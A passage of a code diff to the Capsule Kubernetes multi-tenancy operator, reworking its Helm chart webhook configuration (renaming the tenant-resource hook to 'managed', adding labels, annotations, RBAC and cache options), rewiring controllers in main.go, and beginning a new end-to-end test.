    -| webhooks.hooks.tenantResourceObjects.namespaceSelector | object | `{"matchExpressions":[{"key":"capsule.clastix.io/tenant","operator":"Exists"}]}` | [NamespaceSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-namespaceselector) |
    -| webhooks.hooks.tenantResourceObjects.objectSelector | object | `{"matchExpressions":[{"key":"capsule.clastix.io/tenant","operator":"Exists"}]}` | [ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector) |
    +| webhooks.hooks.tenantResourceObjects | object | `{}` | Deprecated, use webhooks.hooks.managed instead |
     | webhooks.hooks.tenants.enabled | bool | `true` | Enable the Hook |
     | webhooks.hooks.tenants.failurePolicy | string | `"Fail"` | [FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy) |
     | webhooks.hooks.tenants.matchConditions | list | `[]` | [MatchConditions](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy) |
     | webhooks.hooks.tenants.matchPolicy | string | `"Exact"` | [MatchPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy) |
     | webhooks.hooks.tenants.namespaceSelector | object | `{}` | [NamespaceSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-namespaceselector) |
     | webhooks.hooks.tenants.objectSelector | object | `{}` | [ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector) |
     | webhooks.hooks.tenants.reinvocationPolicy | string | `"Never"` | [ReinvocationPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#reinvocation-policy) |
    +| webhooks.labels | object | `{}` | Additional Labels for all webhooks |
     | webhooks.mutatingWebhooksTimeoutSeconds | int | `30` | Timeout in seconds for mutating webhooks |
     | webhooks.service.caBundle | string | `""` | CABundle for the webhook service |
     | webhooks.service.name | string | `""` | Custom service name for the webhook service |
    
  • charts/capsule/templates/configuration.yaml+28 0 modified
    @@ -14,6 +14,34 @@ metadata:
         {{- toYaml . | nindent 4 }}
       {{- end }}
     spec:
    +  cacheInvalidation: {{ .Values.manager.options.cacheInvalidation }}
    +  rbac:
    +    {{- toYaml .Values.manager.options.rbac | nindent 4 }}
    +  admission:
    +    validating:
    +      name: "{{ include "capsule.fullname" . }}-dynamic"
    +      client:
    +        {{- include "capsule.webhooks.serviceConfig" $ | nindent 8 }}
    +      {{- if (include "admission.labels" $) }}
    +      labels:
    +        {{- include "admission.labels" $ | nindent 8 }}
    +      {{- end }}
    +      {{- if (include "admission.annotations" $) }}
    +      annotations:
    +        {{- include "admission.annotations" $ | nindent 8 }}
    +      {{- end }}
    +    mutating:
    +      name: "{{ include "capsule.fullname" . }}-dynamic"
    +      client:
    +        {{- include "capsule.webhooks.serviceConfig" $ | nindent 8 }}
    +      {{- if (include "admission.labels" $) }}
    +      labels:
    +        {{- include "admission.labels" $ | nindent 8 }}
    +      {{- end }}
    +      {{- if (include "admission.annotations" $) }}
    +      annotations:
    +        {{- include "admission.annotations" $ | nindent 8 }}
    +      {{- end }}
       administrators:
         {{- toYaml .Values.manager.options.administrators | nindent 4 }}
       users:
    
  • charts/capsule/templates/crd-lifecycle/rbac.yaml+1 0 modified
    @@ -32,6 +32,7 @@ rules:
       - globaltenantresources.capsule.clastix.io
       - tenants.capsule.clastix.io
       - tenantowners.capsule.clastix.io
    +  - rulestatuses.capsule.clastix.io
       verbs:
       - create
       - delete
    
  • charts/capsule/templates/_helpers.tpl+37 0 modified
    @@ -155,6 +155,24 @@ service:
       {{- end }}
     {{- end }}
     
    +
    +{{/*
    +Capsule Webhook service (Without Path)
    +
    +*/}}
    +{{- define "capsule.webhooks.serviceConfig" -}}
    +  {{- include "capsule.webhooks.cabundle" $ | nindent 0 }}
    +  {{- if $.Values.webhooks.service.url }}
    +url: {{ trimSuffix "/" $.Values.webhooks.service.url }}
    +  {{- else }}
    +service:
    +  name: {{ default (printf "%s-webhook-service" (include "capsule.fullname" $)) $.Values.webhooks.service.name }}
    +  namespace: {{ default $.Release.Namespace $.Values.webhooks.service.namespace }}
    +  port: {{ default 443 $.Values.webhooks.service.port }}
    +  {{- end }}
    +{{- end }}
    +
    +
     {{/*
     Capsule Webhook endpoint CA Bundle
     */}}
    @@ -180,3 +198,22 @@ caBundle: {{ $.Values.webhooks.service.caBundle -}}
     {{- $joined := join "," $sizes -}}
     {{- sha256sum $joined -}}
     {{- end -}}
    +
    +{{- define "admission.labels" -}}
    +  {{- with $.Values.webhooks.labels }}
    +    {{- toYaml . | nindent 0 }}
    +  {{- end }}
    +{{- end }}
    +
    +
    +{{- define "admission.annotations" -}}
    +  {{- if and ($.Values.certManager.generateCertificates) (not $.Values.webhooks.service.caBundle) }}
    +cert-manager.io/inject-ca-from: {{ $.Release.Namespace }}/{{ include "capsule.fullname" $ }}-webhook-cert
    +  {{-  end }}
    +  {{- with $.Values.customAnnotations }}
    +    {{- toYaml . | nindent 0 }}
    +  {{- end }}
    +  {{- with $.Values.webhooks.annotations }}
    +    {{- toYaml . | nindent 0 }}
    +  {{- end }}
    +{{- end }}
    
  • charts/capsule/templates/mutatingwebhookconfiguration.yaml+4 7 modified
    @@ -3,15 +3,12 @@ apiVersion: admissionregistration.k8s.io/v1
     kind: MutatingWebhookConfiguration
     metadata:
       name: {{ include "capsule.fullname" . }}-mutating-webhook-configuration
    +  namespace: {{ $.Release.Namespace }}
       labels:
    -    {{- include "capsule.labels" . | nindent 4 }}
    +    {{- include "capsule.labels" $ | nindent 4 }}
    +    {{- include "admission.labels" . | nindent 4 }}
       annotations:
    -  {{- if .Values.certManager.generateCertificates }}
    -    cert-manager.io/inject-ca-from: {{ .Release.Namespace }}/{{ include "capsule.fullname" . }}-webhook-cert
    -  {{-  end }}
    -  {{- with .Values.customAnnotations }}
    -    {{- toYaml . | nindent 4 }}
    -  {{- end }}
    +    {{- include "admission.annotations" . | nindent 4 }}
     webhooks:
     {{- with (mergeOverwrite .Values.webhooks.hooks.pods .Values.webhooks.hooks.defaults.pods) }}
       {{- if .enabled }}
    
  • charts/capsule/templates/validatingwebhookconfiguration.yaml+8 19 modified
    @@ -5,14 +5,10 @@ metadata:
       name: {{ include "capsule.fullname" . }}-validating-webhook-configuration
       namespace: {{ $.Release.Namespace }}
       labels:
    -    {{- include "capsule.labels" . | nindent 4 }}
    +    {{- include "capsule.labels" $ | nindent 4 }}
    +    {{- include "admission.labels" . | nindent 4 }}
       annotations:
    -  {{- if .Values.certManager.generateCertificates }}
    -    cert-manager.io/inject-ca-from: {{ .Release.Namespace }}/{{ include "capsule.fullname" . }}-webhook-cert
    -  {{-  end }}
    -  {{- with .Values.customAnnotations }}
    -    {{- toYaml . | nindent 4 }}
    -  {{- end }}
    +    {{- include "admission.annotations" . | nindent 4 }}
     webhooks:
     {{- with .Values.webhooks.hooks.cordoning }}
       {{- if .enabled }}
    @@ -191,6 +187,8 @@ webhooks:
             - DELETE
           resources:
             - namespaces
    +        - namespaces/status
    +        - namespace/finalize
           scope: '*'
       sideEffects: None
       timeoutSeconds: {{ $.Values.webhooks.validatingWebhooksTimeoutSeconds }}
    @@ -379,13 +377,13 @@ webhooks:
       timeoutSeconds: {{ $.Values.webhooks.validatingWebhooksTimeoutSeconds }}
       {{- end }}
     {{- end }}
    -{{- with .Values.webhooks.hooks.tenantResourceObjects }}
    +{{- with (mergeOverwrite .Values.webhooks.hooks.managed .Values.webhooks.hooks.tenantResourceObjects) }}
       {{- if .enabled }}
     - name: resource-objects.tenant.projectcapsule.dev
       admissionReviewVersions:
         - v1
       clientConfig:
    -    {{- include "capsule.webhooks.service" (dict "path" "/tenantresource-objects" "ctx" $) | nindent 4 }}
    +    {{- include "capsule.webhooks.service" (dict "path" "/misc/managed" "ctx" $) | nindent 4 }}
       failurePolicy: {{ .failurePolicy }}
       matchPolicy: {{ .matchPolicy }}
       {{- with .namespaceSelector }}
    @@ -401,16 +399,7 @@ webhooks:
         {{- toYaml . |  nindent 4 }}
       {{- end }}
       rules:
    -    - apiGroups:
    -        - '*'
    -      apiVersions:
    -        - '*'
    -      operations:
    -        - UPDATE
    -        - DELETE
    -      resources:
    -        - '*'
    -      scope: Namespaced
    +    {{- toYaml .rules | nindent 4 }}
       sideEffects: None
       timeoutSeconds: {{ $.Values.webhooks.validatingWebhooksTimeoutSeconds }}
       {{- end }}
    
  • charts/capsule/values.schema.json+139 59 modified
    @@ -331,6 +331,10 @@
                                 "description": "Additional annotations to add to the CapsuleConfiguration resource",
                                 "type": "object"
                             },
    +                        "cacheInvalidation": {
    +                            "description": "Duration after which the in-memory cache is invalidated (based on usaage) and re-fetched from the API server",
    +                            "type": "string"
    +                        },
                             "capsuleConfiguration": {
                                 "description": "Change the default name of the capsule configuration name",
                                 "type": "string"
    @@ -395,6 +399,34 @@
                                 "description": "If specified, disallows creation of namespaces matching the passed regexp",
                                 "type": "string"
                             },
    +                        "rbac": {
    +                            "description": "Managed RBAC configuration for the controller",
    +                            "type": "object",
    +                            "properties": {
    +                                "administrationClusterRoles": {
    +                                    "description": "The ClusterRoles applied for Administrators",
    +                                    "type": "array",
    +                                    "items": {
    +                                        "type": "string"
    +                                    }
    +                                },
    +                                "deleter": {
    +                                    "description": "Name for the ClusterRole required to grant Namespace Deletion permissions.",
    +                                    "type": "string"
    +                                },
    +                                "promotionClusterRoles": {
    +                                    "description": "The ClusterRoles applied for ServiceAccounts which had owner Promotion",
    +                                    "type": "array",
    +                                    "items": {
    +                                        "type": "string"
    +                                    }
    +                                },
    +                                "provisioner": {
    +                                    "description": "Name for the ClusterRole required to grant Namespace Provision permissions.",
    +                                    "type": "string"
    +                                }
    +                            }
    +                        },
                             "userNames": {
                                 "description": "DEPRECATED: use users properties. Names of the users considered as Capsule users.",
                                 "type": "array"
    @@ -744,6 +776,10 @@
             "webhooks": {
                 "type": "object",
                 "properties": {
    +                "annotations": {
    +                    "description": "Additional Annotations for all webhooks",
    +                    "type": "object"
    +                },
                     "exclusive": {
                         "description": "When `crds.exclusive` is `true` the webhooks will be installed",
                         "type": "boolean"
    @@ -1070,6 +1106,103 @@
                                     }
                                 }
                             },
    +                        "managed": {
    +                            "type": "object",
    +                            "properties": {
    +                                "enabled": {
    +                                    "description": "Enable the Hook",
    +                                    "type": "boolean"
    +                                },
    +                                "failurePolicy": {
    +                                    "description": "[FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy)",
    +                                    "type": "string"
    +                                },
    +                                "matchConditions": {
    +                                    "description": "[MatchConditions](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy)",
    +                                    "type": "array"
    +                                },
    +                                "matchPolicy": {
    +                                    "description": "[MatchPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy)",
    +                                    "type": "string"
    +                                },
    +                                "namespaceSelector": {
    +                                    "description": "[NamespaceSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-namespaceselector)",
    +                                    "type": "object",
    +                                    "properties": {
    +                                        "matchExpressions": {
    +                                            "type": "array",
    +                                            "items": {
    +                                                "type": "object",
    +                                                "properties": {
    +                                                    "key": {
    +                                                        "type": "string"
    +                                                    },
    +                                                    "operator": {
    +                                                        "type": "string"
    +                                                    }
    +                                                }
    +                                            }
    +                                        }
    +                                    }
    +                                },
    +                                "objectSelector": {
    +                                    "description": "[ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector)",
    +                                    "type": "object",
    +                                    "properties": {
    +                                        "matchExpressions": {
    +                                            "type": "array",
    +                                            "items": {
    +                                                "type": "object",
    +                                                "properties": {
    +                                                    "key": {
    +                                                        "type": "string"
    +                                                    },
    +                                                    "operator": {
    +                                                        "type": "string"
    +                                                    }
    +                                                }
    +                                            }
    +                                        }
    +                                    }
    +                                },
    +                                "rules": {
    +                                    "description": "[Rules](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-rules)",
    +                                    "type": "array",
    +                                    "items": {
    +                                        "type": "object",
    +                                        "properties": {
    +                                            "apiGroups": {
    +                                                "type": "array",
    +                                                "items": {
    +                                                    "type": "string"
    +                                                }
    +                                            },
    +                                            "apiVersions": {
    +                                                "type": "array",
    +                                                "items": {
    +                                                    "type": "string"
    +                                                }
    +                                            },
    +                                            "operations": {
    +                                                "type": "array",
    +                                                "items": {
    +                                                    "type": "string"
    +                                                }
    +                                            },
    +                                            "resources": {
    +                                                "type": "array",
    +                                                "items": {
    +                                                    "type": "string"
    +                                                }
    +                                            },
    +                                            "scope": {
    +                                                "type": "string"
    +                                            }
    +                                        }
    +                                    }
    +                                }
    +                            }
    +                        },
                             "namespaceOwnerReference": {
                                 "description": "Deprecated, use webhooks.hooks.namespaces instead",
                                 "type": "object"
    @@ -1518,65 +1651,8 @@
                                 }
                             },
                             "tenantResourceObjects": {
    -                            "type": "object",
    -                            "properties": {
    -                                "enabled": {
    -                                    "description": "Enable the Hook",
    -                                    "type": "boolean"
    -                                },
    -                                "failurePolicy": {
    -                                    "description": "[FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy)",
    -                                    "type": "string"
    -                                },
    -                                "matchConditions": {
    -                                    "description": "[MatchConditions](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy)",
    -                                    "type": "array"
    -                                },
    -                                "matchPolicy": {
    -                                    "description": "[MatchPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy)",
    -                                    "type": "string"
    -                                },
    -                                "namespaceSelector": {
    -                                    "description": "[NamespaceSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-namespaceselector)",
    -                                    "type": "object",
    -                                    "properties": {
    -                                        "matchExpressions": {
    -                                            "type": "array",
    -                                            "items": {
    -                                                "type": "object",
    -                                                "properties": {
    -                                                    "key": {
    -                                                        "type": "string"
    -                                                    },
    -                                                    "operator": {
    -                                                        "type": "string"
    -                                                    }
    -                                                }
    -                                            }
    -                                        }
    -                                    }
    -                                },
    -                                "objectSelector": {
    -                                    "description": "[ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector)",
    -                                    "type": "object",
    -                                    "properties": {
    -                                        "matchExpressions": {
    -                                            "type": "array",
    -                                            "items": {
    -                                                "type": "object",
    -                                                "properties": {
    -                                                    "key": {
    -                                                        "type": "string"
    -                                                    },
    -                                                    "operator": {
    -                                                        "type": "string"
    -                                                    }
    -                                                }
    -                                            }
    -                                        }
    -                                    }
    -                                }
    -                            }
    +                            "description": "Deprecated, use webhooks.hooks.managed instead",
    +                            "type": "object"
                             },
                             "tenants": {
                                 "type": "object",
    @@ -1613,6 +1689,10 @@
                             }
                         }
                     },
    +                "labels": {
    +                    "description": "Additional Labels for all webhooks",
    +                    "type": "object"
    +                },
                     "mutatingWebhooksTimeoutSeconds": {
                         "description": "Timeout in seconds for mutating webhooks",
                         "type": "integer"
    
  • charts/capsule/values.yaml+42 3 modified
    @@ -211,14 +211,32 @@ manager:
           forbiddenAnnotations:
             denied: []
             deniedRegex: ""
    +
    +    # -- Duration after which the in-memory cache is invalidated (based on usaage) and re-fetched from the API server
    +    cacheInvalidation: 24h0m0s
    +
    +    # -- Managed RBAC configuration for the controller
    +    rbac:
    +      # -- The ClusterRoles applied for Administrators
    +      administrationClusterRoles:
    +        - capsule-namespace-deleter
    +      # -- The ClusterRoles applied for ServiceAccounts which had owner Promotion
    +      promotionClusterRoles:
    +        - capsule-namespace-provisioner
    +        - capsule-namespace-deleter
    +      # -- Name for the ClusterRole required to grant Namespace Deletion permissions.
    +      deleter: capsule-namespace-deleter
    +      # -- Name for the ClusterRole required to grant Namespace Provision permissions.
    +      provisioner: capsule-namespace-provisioner
    +
    +
         # -- DEPRECATED: use users properties.
         # Names of the users considered as Capsule users.
         userNames: []
         # -- DEPRECATED: use users properties.
         # Names of the users considered as Capsule users.
         capsuleUserGroups: []
     
    -
       # -- A list of extra arguments for the capsule controller
       extraArgs:
       - "--enable-leader-election=true"
    @@ -398,6 +416,12 @@ webhooks:
       # -- Timeout in seconds for validating webhooks
       validatingWebhooksTimeoutSeconds: 30
     
    +  # -- Additional Labels for all webhooks
    +  labels: {}
    +
    +  # -- Additional Annotations for all webhooks
    +  annotations: {}
    +
       # Configure custom webhook service
       service:
         # -- The URL where the capsule webhook services are running (Overwrites cluster scoped service definition)
    @@ -678,7 +702,7 @@ webhooks:
           # -- [ReinvocationPolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#reinvocation-policy)
           reinvocationPolicy: Never
     
    -    tenantResourceObjects:
    +    managed:
           # -- Enable the Hook
           enabled: true
           # -- [FailurePolicy](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy)
    @@ -688,7 +712,7 @@ webhooks:
           # -- [ObjectSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-objectselector)
           objectSelector:
             matchExpressions:
    -          - key: capsule.clastix.io/tenant
    +          - key: "projectcapsule.dev/managed-by"
                 operator: Exists
           # -- [NamespaceSelector](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-namespaceselector)
           namespaceSelector:
    @@ -697,6 +721,18 @@ webhooks:
                 operator: Exists
           # -- [MatchConditions](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-matchpolicy)
           matchConditions: []
    +      # -- [Rules](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#matching-requests-rules)
    +      rules:
    +        - apiGroups:
    +            - '*'
    +          apiVersions:
    +            - '*'
    +          operations:
    +            - UPDATE
    +            - DELETE
    +          resources:
    +            - '*'
    +          scope: '*'
     
         services:
           # -- Enable the Hook
    @@ -756,3 +792,6 @@ webhooks:
           pvc: {}
           # -- Deprecated, use webhooks.hooks.pods instead
           pods: {}
    +
    +    # -- Deprecated, use webhooks.hooks.managed instead
    +    tenantResourceObjects: {}
    
  • cmd/main.go+42 20 modified
    @@ -31,6 +31,8 @@ import (
     
     	capsulev1beta1 "github.com/projectcapsule/capsule/api/v1beta1"
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/internal/cache"
    +	"github.com/projectcapsule/capsule/internal/controllers/admission"
     	configcontroller "github.com/projectcapsule/capsule/internal/controllers/cfg"
     	podlabelscontroller "github.com/projectcapsule/capsule/internal/controllers/pod"
     	"github.com/projectcapsule/capsule/internal/controllers/pv"
    @@ -63,8 +65,9 @@ import (
     	tenantvalidation "github.com/projectcapsule/capsule/internal/webhook/tenant/validation"
     	tntresource "github.com/projectcapsule/capsule/internal/webhook/tenantresource"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/indexer"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers"
     )
     
     var (
    @@ -190,7 +193,7 @@ func main() {
     	if directCfg.EnableTLSConfiguration() {
     		tlsReconciler := &tlscontroller.Reconciler{
     			Client:        directClient,
    -			Log:           ctrl.Log.WithName("controllers").WithName("TLS"),
    +			Log:           ctrl.Log.WithName("capsule.ctrl").WithName("tls"),
     			Namespace:     ns,
     			Configuration: directCfg,
     		}
    @@ -213,12 +216,14 @@ func main() {
     		}
     	}
     
    +	registryCache := cache.NewRegistryRuleSetCache()
    +
     	if err = (&tenantcontroller.Manager{
     		RESTConfig:    manager.GetConfig(),
     		Client:        manager.GetClient(),
     		Metrics:       metrics.MustMakeTenantRecorder(),
    -		Log:           ctrl.Log.WithName("controllers").WithName("Tenant"),
    -		Recorder:      manager.GetEventRecorderFor("tenant-controller"),
    +		Log:           ctrl.Log.WithName("capsule.ctrl").WithName("tenant"),
    +		Recorder:      manager.GetEventRecorder("tenant-controller"),
     		Configuration: cfg,
     	}).SetupWithManager(manager, controllerConfig); err != nil {
     		setupLog.Error(err, "unable to create controller", "controller", "Tenant")
    @@ -230,7 +235,7 @@ func main() {
     		os.Exit(1)
     	}
     
    -	if err = indexer.AddToManager(ctx, setupLog, manager); err != nil {
    +	if err = indexers.AddToManager(ctx, setupLog, manager); err != nil {
     		setupLog.Error(err, "unable to setup indexers")
     		os.Exit(1)
     	}
    @@ -244,11 +249,12 @@ func main() {
     
     	// webhooks: the order matters, don't change it and just append
     	webhooksList := append(
    -		make([]webhook.Webhook, 0),
    +		make([]handlers.Webhook, 0),
     		route.Pod(
     			pod.Handler(
     				pod.ImagePullPolicy(),
    -				pod.ContainerRegistry(cfg),
    +				pod.ContainerRegistryLegacy(cfg),
    +				pod.ContainerRegistry(cfg, registryCache),
     				pod.PriorityClass(),
     				pod.RuntimeClass(),
     			),
    @@ -265,10 +271,10 @@ func main() {
     				service.Validating(),
     			),
     		),
    -		route.TenantResourceObjects(utils.InCapsuleGroups(cfg, tntresource.WriteOpsHandler())),
    -		route.NetworkPolicy(utils.InCapsuleGroups(cfg, networkpolicy.Handler())),
    +		route.TenantResourceObjects(handlers.InCapsuleGroups(cfg, tntresource.WriteOpsHandler())),
    +		route.NetworkPolicy(handlers.InCapsuleGroups(cfg, networkpolicy.Handler())),
     		route.Cordoning(tenantvalidation.CordoningHandler(cfg)),
    -		route.Node(utils.InCapsuleGroups(cfg, node.UserMetadataHandler(cfg, kubeVersion))),
    +		route.Node(handlers.InCapsuleGroups(cfg, node.UserMetadataHandler(cfg, kubeVersion))),
     		route.ServiceAccounts(
     			serviceaccounts.Handler(
     				serviceaccounts.Validating(cfg),
    @@ -287,6 +293,7 @@ func main() {
     			tenantvalidation.IngressClassRegexHandler(),
     			tenantvalidation.StorageClassRegexHandler(),
     			tenantvalidation.ContainerRegistryRegexHandler(),
    +			tenantvalidation.RuleHandler(),
     			tenantvalidation.HostnameRegexHandler(),
     			tenantvalidation.FreezedEmitter(),
     			tenantvalidation.ServiceAccountNameHandler(),
    @@ -316,17 +323,20 @@ func main() {
     		route.ResourcePoolValidation((resourcepool.PoolValidationHandler(ctrl.Log.WithName("webhooks").WithName("resourcepool")))),
     		route.ResourcePoolClaimMutation((resourcepool.ClaimMutationHandler(ctrl.Log.WithName("webhooks").WithName("resourcepoolclaims")))),
     		route.ResourcePoolClaimValidation((resourcepool.ClaimValidationHandler(ctrl.Log.WithName("webhooks").WithName("resourcepoolclaims")))),
    -		route.TenantAssignment(
    +		route.MiscTenantAssignment(
     			misc.TenantAssignmentHandler(),
     		),
    +		route.MiscManagedValidation(
    +			handlers.InCapsuleGroups(cfg, misc.ManagedValidatingHandler()),
    +		),
     		route.ConfigValidation(
     			cfgvalidation.WarningHandler(),
     		),
     	)
     
     	nodeWebhookSupported, _ := utils.NodeWebhookSupported(kubeVersion)
     	if !nodeWebhookSupported {
    -		setupLog.Info("Disabling node labels verification webhook as current Kubernetes version doesn't have fix for CVE-2021-25735")
    +		setupLog.Info("disabling node labels verification webhook as current Kubernetes version doesn't have fix for CVE-2021-25735")
     	}
     
     	if err = webhook.Register(manager, webhooksList...); err != nil {
    @@ -335,7 +345,7 @@ func main() {
     	}
     
     	rbacManager := &rbaccontroller.Manager{
    -		Log:           ctrl.Log.WithName("controllers").WithName("Rbac"),
    +		Log:           ctrl.Log.WithName("capsule.ctrl").WithName("rbac"),
     		Client:        manager.GetClient(),
     		Configuration: cfg,
     	}
    @@ -351,14 +361,14 @@ func main() {
     	}
     
     	if err = (&servicelabelscontroller.ServicesLabelsReconciler{
    -		Log: ctrl.Log.WithName("controllers").WithName("ServiceLabels"),
    +		Log: ctrl.Log.WithName("capsule.ctrl").WithName("services"),
     	}).SetupWithManager(ctx, manager); err != nil {
     		setupLog.Error(err, "unable to create controller", "controller", "ServiceLabels")
     		os.Exit(1)
     	}
     
     	if err = (&servicelabelscontroller.EndpointSlicesLabelsReconciler{
    -		Log: ctrl.Log.WithName("controllers").WithName("EndpointSliceLabels"),
    +		Log: ctrl.Log.WithName("capsule.ctrl").WithName("endpointslices"),
     	}).SetupWithManager(ctx, manager); err != nil {
     		setupLog.Error(err, "unable to create controller", "controller", "EndpointSliceLabels")
     	}
    @@ -374,8 +384,9 @@ func main() {
     	}
     
     	if err = (&configcontroller.Manager{
    -		Client: manager.GetClient(),
    -		Log:    ctrl.Log.WithName("controllers").WithName("CapsuleConfiguration"),
    +		Client:        manager.GetClient(),
    +		RegistryCache: registryCache,
    +		Log:           ctrl.Log.WithName("capsule.ctrl").WithName("configuration"),
     	}).SetupWithManager(manager, controllerConfig); err != nil {
     		setupLog.Error(err, "unable to create controller", "controller", "CapsuleConfiguration")
     		os.Exit(1)
    @@ -391,10 +402,21 @@ func main() {
     		os.Exit(1)
     	}
     
    +	if err := admission.Add(
    +		ctrl.Log.WithName("capsule.ctrl").WithName("admission"),
    +		manager,
    +		manager.GetEventRecorder("admission-ctrl"),
    +		controllerConfig,
    +		cfg,
    +	); err != nil {
    +		setupLog.Error(err, "unable to create controller", "controller", "admission")
    +		os.Exit(1)
    +	}
    +
     	if err := resourcepools.Add(
    -		ctrl.Log.WithName("controllers").WithName("ResourcePools"),
    +		ctrl.Log.WithName("capsule.ctrl").WithName("resourcepools"),
     		manager,
    -		manager.GetEventRecorderFor("pools-ctrl"),
    +		manager.GetEventRecorder("pools-ctrl"),
     		controllerConfig,
     	); err != nil {
     		setupLog.Error(err, "unable to create controller", "controller", "resourcepools")
    
  • e2e/namespace_additional_metadata_test.go+4 0 modified
    @@ -393,6 +393,7 @@ var _ = Describe("creating a Namespace for a Tenant with additional metadata", L
     				"matching_namespace_label":    "matching_namespace_label_value",
     				"capsule.clastix.io/tenant":   tnt.GetName(),
     				"kubernetes.io/metadata.name": ns.GetName(),
    +				"env":                         "e2e",
     			}
     
     			Eventually(func() map[string]string {
    @@ -490,6 +491,7 @@ var _ = Describe("creating a Namespace for a Tenant with additional metadata", L
     				"matching_namespace_label":    "matching_namespace_label_value",
     				"capsule.clastix.io/tenant":   tnt.GetName(),
     				"kubernetes.io/metadata.name": ns.GetName(),
    +				"env":                         "e2e",
     			}
     			Eventually(func() map[string]string {
     				got := &corev1.Namespace{}
    @@ -579,6 +581,7 @@ var _ = Describe("creating a Namespace for a Tenant with additional metadata", L
     				"matching_namespace_label":    "matching_namespace_label_value",
     				"capsule.clastix.io/tenant":   tnt.GetName(),
     				"kubernetes.io/metadata.name": ns.GetName(),
    +				"env":                         "e2e",
     			}
     			Eventually(func() map[string]string {
     				got := &corev1.Namespace{}
    @@ -660,6 +663,7 @@ var _ = Describe("creating a Namespace for a Tenant with additional metadata", L
     				"matching_namespace_label":    "matching_namespace_label_value",
     				"capsule.clastix.io/tenant":   tnt.GetName(),
     				"kubernetes.io/metadata.name": ns.GetName(),
    +				"env":                         "e2e",
     			}
     			Eventually(func() map[string]string {
     				got := &corev1.Namespace{}
    
  • e2e/rules_managed_test.go+158 0 added
    @@ -0,0 +1,158 @@
    +package e2e
    +
    +import (
    +	"context"
    +	"fmt"
    +
    +	. "github.com/onsi/ginkgo/v2"
    +	. "github.com/onsi/gomega"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	corev1 "k8s.io/api/core/v1"
    +	apierrors "k8s.io/apimachinery/pkg/api/errors"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +)
    +
    +var _ = Describe("NamespaceStatus objects", Label("tenant", "rules"), func() {
    +	ctx := context.Background()
    +
    +	// Two tenants, each with one owner (reuse your existing ownerClient/NamespaceCreation helpers)
    +	tntA := &capsulev1beta2.Tenant{
    +		ObjectMeta: metav1.ObjectMeta{Name: "nsstatus-a"},
    +		Spec: capsulev1beta2.TenantSpec{
    +			Owners: api.OwnerListSpec{
    +				{
    +					CoreOwnerSpec: api.CoreOwnerSpec{
    +						UserSpec: api.UserSpec{Name: "matt", Kind: "User"},
    +					},
    +				},
    +			},
    +		},
    +	}
    +
    +	tntB := &capsulev1beta2.Tenant{
    +		ObjectMeta: metav1.ObjectMeta{Name: "nsstatus-b"},
    +		Spec: capsulev1beta2.TenantSpec{
    +			Owners: api.OwnerListSpec{
    +				{
    +					CoreOwnerSpec: api.CoreOwnerSpec{
    +						UserSpec: api.UserSpec{Name: "matt", Kind: "User"},
    +					},
    +				},
    +			},
    +		},
    +	}
    +
    +	var (
    +		nsA1 *corev1.Namespace
    +		nsA2 *corev1.Namespace
    +		nsB1 *corev1.Namespace
    +	)
    +
    +	JustBeforeEach(func() {
    +		// Create tenants
    +		EventuallyCreation(func() error {
    +			tntA.ResourceVersion = ""
    +			return k8sClient.Create(ctx, tntA)
    +		}).Should(Succeed())
    +
    +		EventuallyCreation(func() error {
    +			tntB.ResourceVersion = ""
    +			return k8sClient.Create(ctx, tntB)
    +		}).Should(Succeed())
    +
    +		// Create namespaces for each tenant using your helper
    +		nsA1 = NewNamespace("rule-status-ns1", map[string]string{
    +			meta.TenantLabel: tntA.GetName(),
    +		})
    +		nsA2 = NewNamespace("rule-status-ns2", map[string]string{
    +			meta.TenantLabel: tntA.GetName(),
    +		})
